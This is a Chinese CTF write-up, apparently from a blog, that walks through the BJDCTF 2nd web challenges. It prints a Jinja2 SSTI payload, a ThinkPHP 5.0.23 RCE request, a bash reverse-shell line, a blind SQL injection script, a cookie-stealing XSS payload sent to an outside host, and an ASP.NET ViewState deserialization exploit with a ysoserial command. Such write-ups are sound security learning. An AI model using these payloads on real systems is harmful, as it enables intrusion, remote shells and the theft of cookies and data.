BJDCTF 2nd WEB
emmm，比賽做了幾道題，賽後官方給了wp，把沒做出來的復現一下，，，，
[BJDCTF 2nd]fake google
一個SSTI，發現是jinja2的，直接用payload打就行：
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()") }}
{% endif %}
{% endfor %}
get:
[BJDCTF 2nd]old-hack
可以看見有提示thinkphp5，直接用5.0的payload打，會提示有錯誤
但是可以看見版本：thinkphp 5.0.23，那用 5.0.23payload就行了
payload：
POST /?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag&method=get
get:
[BJDCTF 2nd]duangShell
題目進去有提示.swp，下載備份文件.index.php.swp，下載下來使用命令：vim -r .index.php.swp恢復
得到源碼：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍愛網</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
可以看見這裏過濾了很多東西，寫shell是不可能了，只能反彈shell和duang是不是有差不多的意思
可以使用curl這個命令，由於不能訪問外網我們需開一臺內網虛擬機，註冊個小號，，，
在虛擬機的/var/www/html中創建一個文件：shell.txt
寫入：bash -i >& /dev/tcp/[ip]/[port] 0>&1
然後去命令執行：
成功反彈shell，根目錄下是假的，查找flag：
得到flag:
[BJDCTF 2nd]簡單注入
看樣子就是注入，應該要我們注出密碼
先跑一下過濾了啥，發現and、&&、like、=、select、；、引號和雙引號等過濾了很多
看到select被過濾了，應該是盲注，猜測存在password表
由於引號被過濾，所以我們可以使得username=admin\&password=or 1#
發現回顯不同，，，，，
不過我使用的是時間盲注，腳本：
import requests
import sys
import string
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改變標準輸出的默認編碼,否則s.text不能輸出
flag = ""
x = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
url = "http://4c5924a8-6e62-42fb-afad-e83fd4986c79.node3.buuoj.cn/"
payload={
"username":"admin\\",
"password":""
}
start_time = time.time()
#r=requests.post(url=url,data=payload)
#if(time.time() - start_time > 4):
#print("yes")
#print(r.text)
for i in range(1,33):
for j in range(32,126):
payload['password'] = "or if(ascii(substr(password,%s,1))>%s,sleep(2),1)#"%(str(i),j)
#print(payload)
start_time = time.time()
r = requests.post(url=url,data=payload)
if(time.time() - start_time < 2):
flag += chr(j)
print(flag)
break
可以得到密碼，登陸拿到flag:
[BJDCTF 2nd]假豬套天下第一
這個題應該算是簡單的吧，發現頁面存在hint：
訪問發現：
抓包看見cookie中存在time，修改成大一些的：
只允許本地訪問，發現XFF不行，官方放出的hint是含X的都不行，，，，事實證明官方hint有問題
Client-IP: 127.0.0.1和X-Real-IP: 127.0.0.1都行：
增加referer:gem-love.com
得到：
修改UA:
根據hint，搜索一波，可以得到commodo 64全稱Commodore 64，修改得到:
添加：from: [email protected]，得到：
添加：via: y1ng.vip，得到：
發現base64字符串，進行解密，拿到flag：
[BJDCTF 2nd]Schrödinger
有個白色字體的hint：
進行訪問：
登陸頁面，沒發現啥東西，返回到原來網頁發現是個爆破登陸的
輸入：http://a50183b8-4db6-4c7f-8053-8ce20bd9c135.node3.buuoj.cn/test.php
發現爆破很慢，抓包查看發現有個cookie是base64加密：
進行解密：
很像時間戳，直接清空看看效果，發現直接99%，點擊check，，，
根據官方hint，B站，，，，，av號，，看評論拿到flag，腦洞大開，，，，，:
[BJDCTF 2nd]xss之光
一進入頁面就是gungungun，，，，，查看敏感目錄，，發現存在git泄露
直接down下源碼：
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
如此簡單的源碼如何進行xss？？？？
反序列化是不可能的，，，一個類都沒有，只能對原生類進行反序列化，，，
結合題目名字，原生類的xss，，，搜索了一波~~
有__call和__toString，這裏有個echo，應該是包含__toString的，那我們可以使用Error和Exception類
直接用Exception，因爲Error只適用於php7，，，
先試一試：
<?php
$a = serialize(new Exception("<script>window.location.href='IP'+document.cookie</script>"));
echo urlencode($a);
?>
然後再返回來的cookie中就看見了flag，，，，，，，，，
都不用開內網虛擬機的嘛，，，，，:
[BJDCTF 2nd]elementmaster
這道題目可謂是腦洞大開了，，，，，
進去是一張圖片，查看源碼，id有古怪：
16進制解碼得到：Po.php
訪問啥都沒有，根據放出的hint，說與元素週期表有關，，，，
看文件名就是元素名，所以要遍歷元素週期表，，，，（自閉，這誰想得到）
腳本：
import requests
import sys
import string
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改變標準輸出的默認編碼,否則s.text不能輸出
flag = ""
url = "http://a1a59511-3d71-49ce-80d7-55c3ae072645.node3.buuoj.cn/%s.php"
f = open("1.txt",'r').read().split('\n')
#print(f)
for i in f:
urls = url%(i)
#print(urls)
r = requests.get(urls)
if r.status_code == 200:
print(r.text,end="")
得到：
訪問：
同樣的腦洞大開題，，，，，，
[BJDCTF 2nd]文件探測
花裏胡哨的頁面，，，，查看源碼：
什麼東西，，，，與第一屆BJDCTF有關？？？無果
直接抓包，發現hint：
訪問：
懷疑還有別的文件，，，最後發現admin.php
看官方hint是SSRF，，，，猜也是ssrf，，返回，看見：
嘗試是否存在文件包含，，，，讀取system.php的源碼：
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid<br>~$ ';
$str3 = ' Error: damn hacker!<br>~$ ';
$str4 = ' Error: request method error<br>~$ ';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Detector</title>
<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />
<link rel="stylesheet" type="text/css" href="css/component.css" />
<script src="js/modernizr.custom.js"></script>
</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<li>
<span><label for="q1">ä½ çŸ¥é“目录下都有什么文件å—?</label></span>
<input id="q1" name="q1" type="text"/>
</li>
<li>
<span><label for="q2">请输å
¥ä½ 想检测文件å†
容长度的url</label></span>
<input id="q2" name="q2" type="text"/>
</li>
<li>
<span><label for="q1">ä½ å¸Œæœ›ä»¥ä½•ç§æ–¹å¼è®¿é—®ï¼ŸGET？POST?</label></span>
<input id="q3" name="q3" type="text"/>
</li>
</ol>
<button class="submit" type="submit" value="submit">æ交</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current"></span>
<span class="number-total"></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>
<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
var theForm = document.getElementById( 'theForm' );
new stepsForm( theForm, {
onSubmit : function( form ) {
classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
var messageEl = theForm.querySelector( '.final-message' );
form.submit();
messageEl.innerHTML = 'Ok...Let me have a check';
classie.addClass( messageEl, 'show' );
}
} );
</script>
</body>
</html>
<?php
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
讀取home.php源碼：
<?php
setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}
if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}
if(preg_match("/^home$/i", $_GET['file'])){
die("ç¦æ¢å¥—娃");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}
無法讀取admin.php內容：
system.php代碼審計：
與極客大挑戰中的SSRF差不多的方法讀取文件內容，，，，
直接進行構造，q1=a&q2=http://127.0.0.1/admin.php?x=1&q3=GET%s%
得到admin.php源碼：
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
分析一波：
根據分析，寫解密腳本：
<?php
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5('174.0.222.75', true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
$cipher = aesEn('', 'y1ng');
echo urlencode($cipher);
?>
得到flag：
[BJDCTF 2nd]EasyAspDotNet
這應該是個重頭戲吧，，，，進入頁面發現：
懷疑存在文件包含，而且hint是web.config所以嘗試讀取，發現沒有顯示，是圖片的樣式，，，
無法另存爲，，，，使用curl，，，得到源碼：
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>
講真，到這裏我真不知道該如何了，，，，
看師傅博客上的兩篇文章：
如何藉助ViewState在ASP.NET中實現反序列化漏洞利用
玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門
根據web.config，我們可以得知validationKey，這樣我們就可以自己算__VIEWSTATE了
收集：
validationkey、validationalg、generator
直接利用payload：
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9
得到：
/wEy7EoAAQAAAP////8BAAAAAAAAAAwCAAAATlN5c3RlbS5EYXRhLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUBAAAAE1N5c3RlbS5EYXRhLkRhdGFTZXQKAAAAFkRhdGFTZXQuUmVtb3RpbmdGb3JtYXQTRGF0YVNldC5EYXRhU2V0TmFtZRFEYXRhU2V0Lk5hbWVzcGFjZQ5EYXRhU2V0LlByZWZpeBVEYXRhU2V0LkNhc2VTZW5zaXRpdmUSRGF0YVNldC5Mb2NhbGVMQ0lEGkRhdGFTZXQuRW5mb3JjZUNvbnN0cmFpbnRzGkRhdGFTZXQuRXh0ZW5kZWRQcm9wZXJ0aWVzFERhdGFTZXQuVGFibGVzLkNvdW50EERhdGFTZXQuVGFibGVzXzAEAQEBAAAAAgAHH1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQCAAAAAQgBCAICAAAABf3///8fU3lzdGVtLkRhdGEuU2VyaWFsaXphdGlvbkZvcm1hdAEAAAAHdmFsdWVfXwAIAgAAAAEAAAAGBAAAAAAJBAAAAAkEAAAAAAkEAAAACgEAAAAJBQAAAA8FAAAAfCMAAAIAAQAAAP////8BAAAAAAAAAAQBAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgUAAAgICQIAAAAHAAAABwAAABACAAAACAAAAAkDAAAACQQAAAAJBQAAAAkGAAAACQcAAAAJCAAAAAkJAAAACgwKAAAAYVN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbCwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAwAAAGpTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwuU2VyaWFsaXphdGlvbi5BY3Rpdml0eVN1cnJvZ2F0ZVNlbGVjdG9yK09iamVjdFN1cnJvZ2F0ZStPYmplY3RTZXJpYWxpemVkUmVmAgAAAAR0eXBlC21lbWJlckRhdGFzAwUfU3lzdGVtLlVuaXR5U2VyaWFsaXphdGlvbkhvbGRlcgoAAAAJCwAAAAkMAAAAAQQAAAADAAAACQ0AAAAJDgAAAAEFAAAAAwAAAAkPAAAACRAAAAABBgAAAAMAAAAJEQAAAAkSAAAAAQcAAAADAAAACRMAAAAJFAAAAAEIAAAAAwAAAAkVAAAACRYAAAAECQAAABxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlBwAAAApMb2FkRmFjdG9yB1ZlcnNpb24IQ29tcGFyZXIQSGFzaENvZGVQcm92aWRlcghIYXNoU2l6ZQRLZXlzBlZhbHVlcwAAAwMABQULCBxTeXN0ZW0uQ29sbGVjdGlvbnMuSUNvbXBhcmVyJFN5c3RlbS5Db2xsZWN0aW9ucy5JSGFzaENvZGVQcm92aWRlcgjsUTg/AgAAAAoKAwAAAAkXAAAACRgAAAAECwAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBhkAAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RMaXN0SXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYaAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAMAAAABwAAAAkbAAAACgkcAAAACR0AAAAICAAAAAAKCAgBAAAAAQ0AAAALAAAABh4AAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrPFNlbGVjdE1hbnlJdGVyYXRvcj5kX18xN2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEA4AAAAJAAAACAj+////CggIAQAAAAoJAwAAAAoJIQAAAA0CAQ8AAAALAAAABiIAAADvAVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEBAAAAAHAAAACQQAAAAKCSUAAAAKCAgAAAAACggIAQAAAAERAAAACwAAAAYmAAAAKVN5c3RlbS5XZWIuVUkuV2ViQ29udHJvbHMuUGFnZWREYXRhU291cmNlBAAAAAYnAAAATVN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhEBIAAAAHAAAACQUAAAAICAAAAAAICAoAAAAIAQAIAQAIAQAICAAAAAABEwAAAAsAAAAGKQAAAClTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkRlc2lnbmVyVmVyYgQAAAAGKgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EBQAAAAFAAAADQIJKwAAAAgIAwAAAAkIAAAAARUAAAALAAAABi0AAAA0U3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuQ2hhbm5lbHMuQWdncmVnYXRlRGljdGlvbmFyeQQAAAAGLgAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQFgAAAAEAAAAJBgAAABAXAAAAAgAAAAkHAAAACQcAAAAQGAAAAAIAAAAGMQAAAAAJMQAAAAQbAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgMAAA9TeXN0ZW0uQnl0ZVtdW10ICAkyAAAAAQAAAAEAAAAEHAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCTMAAAAJNAAAAAQdAAAAigFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDErRW51bWVyYXRvcltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAABGxpc3QFaW5kZXgHdmVyc2lvbgdjdXJyZW50AwAAB39TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCAgCCgAAAAAAAAAACgEhAAAAHAAAAAk1AAAACTYAAAABJQAAABwAAAAJNwAAAAk4AAAAASsAAAADAAAACTkAAAAJOgAAAAcyAAAAAQEAAAAEAAAABwIJOwAAAAoKCgQzAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdh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經過url編碼之後傳入，getflag：
寫到最後：
題目總的來說是不難的，但是自己爲什麼沒有做出幾道題目來呢
首先，自己的思路沒有拓寬，想的不全面，沒有注重細節，其次知識點還是不夠，有所欠缺
還有就是比賽過程中沒有認真去做題，抱着可做可不做的心態，一看這道題目有點困難就放棄
完全不去想怎麼去做，看來還是在家太閒，太懶，完全沒有自律，，，，